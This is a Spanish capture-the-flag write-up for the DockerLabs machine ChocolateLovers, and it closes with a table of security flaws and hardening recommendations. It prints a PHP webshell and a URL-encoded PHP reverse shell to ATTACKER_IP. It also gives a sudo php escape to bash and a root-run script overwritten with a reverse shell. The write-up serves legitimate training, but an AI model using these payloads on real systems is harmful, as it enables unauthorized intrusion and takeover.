ChocolateLovers
Introducción
Sección titulada «Introducción»Este documento describe la resolución completa de la máquina ChocolateLovers, creada por El Pingüino de Mario y catalogada como fácil en DockerLabs. El objetivo principal es presentar una guía reproducible que explique cada acción, su fundamento técnico y las medidas necesarias para evitar vulnerabilidades similares en entornos reales.
El flujo metodológico se divide en:
- Reconocimiento — identificación de servicios expuestos y rutas accesibles.
- Explotación — obtención de acceso inicial (filtración → ejecución remota → webshell → reverse shell).
- Escalada de privilegios — abuso de privilegios
sudoy archivos inseguros ejecutados por root.
Todas las pruebas se realizaron íntegramente dentro del entorno controlado DockerLabs.
Información general
Sección titulada «Información general»| Atributo | Valor |
|---|---|
| Nombre | ChocolateLovers |
| Autor | El Pingüino de Mario |
| Dificultad | Fácil |
| Fecha de creación | 26/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip ChocolateLovers.zipDesplegar el contenedor:
sudo bash auto_deploy.sh ChocolateLovers.tarEl script retornará la IP asignada, necesaria para los siguientes pasos.
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del workspace
Sección titulada «1.1 Organización del workspace»mkdir -p ChocolateLovers/{content,exploits,nmap,gobuster,scripts}cd ChocolateLoversMantener los artefactos ordenados facilita documentación y repetición del proceso.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsextractPorts allPortsResultado relevante:
- 80/tcp → servidor web Apache

1.3 Enumeración web
Sección titulada «1.3 Enumeración web»gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200Resultado:

No se descubre nada crítico inicialmente, solo un index por defecto de Apache.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Identificación de código expuesto
Sección titulada «2.1 Identificación de código expuesto»Al acceder al index, Apache muestra la estructura de directorios real del sitio. Esto constituye una filtración directa.

Se observa el directorio nibbleblog. Esto permite continuar la enumeración.
2.2 Acceso al blog Nibbleblog
Sección titulada «2.2 Acceso al blog Nibbleblog»
Enumeración adicional:
gobuster dir -u http://172.17.0.2/nibbleblog \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Se detecta el archivo admin.php, mostrando un formulario de login.

Intentos básicos:
- Bypass SQLi: no funciona.
- Credenciales por defecto:
admin:admin.
Resultado: acceso exitoso al panel de administración.

Aquí es donde se identifica la vulnerabilidad crítica: el panel permite subir imágenes sin validación, lo cual permite subir un archivo PHP malicioso.
2.3 Subida de webshell
Sección titulada «2.3 Subida de webshell»Contenido usado:
<?=`$_GET[0]`?>Tras subir el archivo, se puede acceder directamente desde:
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?0=id
Esto confirma ejecución remota de comandos.
2.4 Reverse shell
Sección titulada «2.4 Reverse shell»Se utiliza una línea encodeada para abrir reverse shell:
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?0=php -r '%24sock%3Dfsockopen("ATTACKER_IP"%2CATTACKER_PORT)%3Bexec("bash <%263 >%263 2>%263")%3B'Resultado:

Acceso obtenido como www-data.
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Revisión de privilegios sudo
Sección titulada «3.1 Revisión de privilegios sudo»sudo -l
El usuario www-data puede ejecutar php como chocolate sin contraseña.
3.2 Salto a usuario chocolate
Sección titulada «3.2 Salto a usuario chocolate»sudo -u chocolate php -r "system('/bin/bash');"
3.3 Identificación de procesos y archivo vulnerable
Sección titulada «3.3 Identificación de procesos y archivo vulnerable»Ejecutando:
ps aux
Se observa que root ejecuta periódicamente /opt/script.php.
Además, el archivo es escribible por el usuario chocolate.

Esto constituye una escalada directa a root.
3.4 Inyección en script.php
Sección titulada «3.4 Inyección en script.php»echo '<?php $sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("bash -i <&3 >&3 2>&3"); ?>' > /opt/script.phpAl ejecutar el script desde root (servicio o proceso recurrente), obtenemos:

Root adquirido.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»| Tipo de vulnerabilidad | Descripción | Impacto |
|---|---|---|
| Indexación de directorios habilitada | Apache expone la estructura de archivos, revelando directorios internos. | Medio |
| Exposición de aplicación Nibbleblog | Directorios sensibles del CMS están accesibles sin restricciones. | Alto |
| Credenciales por defecto en admin | El panel de administración acepta admin:admin. | Crítico |
| Subida de archivos sin validación | El panel permite subir archivos PHP ejecutables. | Crítico |
Configuración sudo insegura | www-data puede ejecutar php como chocolate. | Alto |
| Archivo ejecutado por root y escribible | /opt/script.php es modificado por un usuario no privilegiado. | Crítico |
Recomendaciones
Sección titulada «Recomendaciones»- Deshabilitar la indexación de directorios en Apache.
- Eliminar credenciales por defecto y aplicar MFA cuando sea posible.
- Implementar validación estricta de archivos subidos (verificación MIME, extensión, tamaño).
- Aislar el proceso web del resto del sistema mediante contenedores o chroot.
- Revisar permisos
sudoy evitar permitir la ejecución de intérpretes. - Asegurar que ningún archivo ejecutado por root sea escribible por otros usuarios.
- Migrar a un CMS actualizado y con soporte.